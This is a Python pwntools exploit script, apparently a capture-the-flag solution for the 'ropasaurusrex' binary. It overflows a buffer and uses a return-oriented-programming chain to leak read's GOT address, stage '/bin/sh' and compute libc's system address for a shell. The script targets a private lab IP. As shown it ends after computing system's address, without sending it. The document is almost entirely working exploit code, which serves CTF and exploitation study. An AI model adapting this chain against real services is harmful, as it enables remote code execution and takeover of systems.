pwntools.py

from pwn import *
from struct import *
elf = ELF('./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d')
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
rop = ROP(elf)

up = lambda x:unpack("<L",x)[0]

binsh = "/bin/sh"
dynamic = 0x08049530
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
offset = libc.symbols['read'] - libc.symbols['system']

print '[*] read_plt : %s' % str(hex(read_plt))
print '[*] read_got : %s' % str(hex(read_got))
print '[*] write_plt : %s' % str(hex(write_plt))
print '[*] write_glt : %s' % str(hex(write_got))
print '[*] Offset : %s ' % str(hex(offset))

rop.read(0,dynamic,8)
rop.write(1,read_got,4)
rop.read(0,read_got,4)
rop.raw(read_plt)
rop.raw("AAAA")
rop.raw(dynamic)

exploit = "\x90"*140+str(rop)

print '[*] Exploit Start'
r = remote("192.168.93.141",9909)
r.send(exploit)
r.send(binsh)
read = up(r.recv(4))
print '[*] read address : %s'% str(hex(read))
system = read - offset
print '[*] system address : %s'% str(hex(system))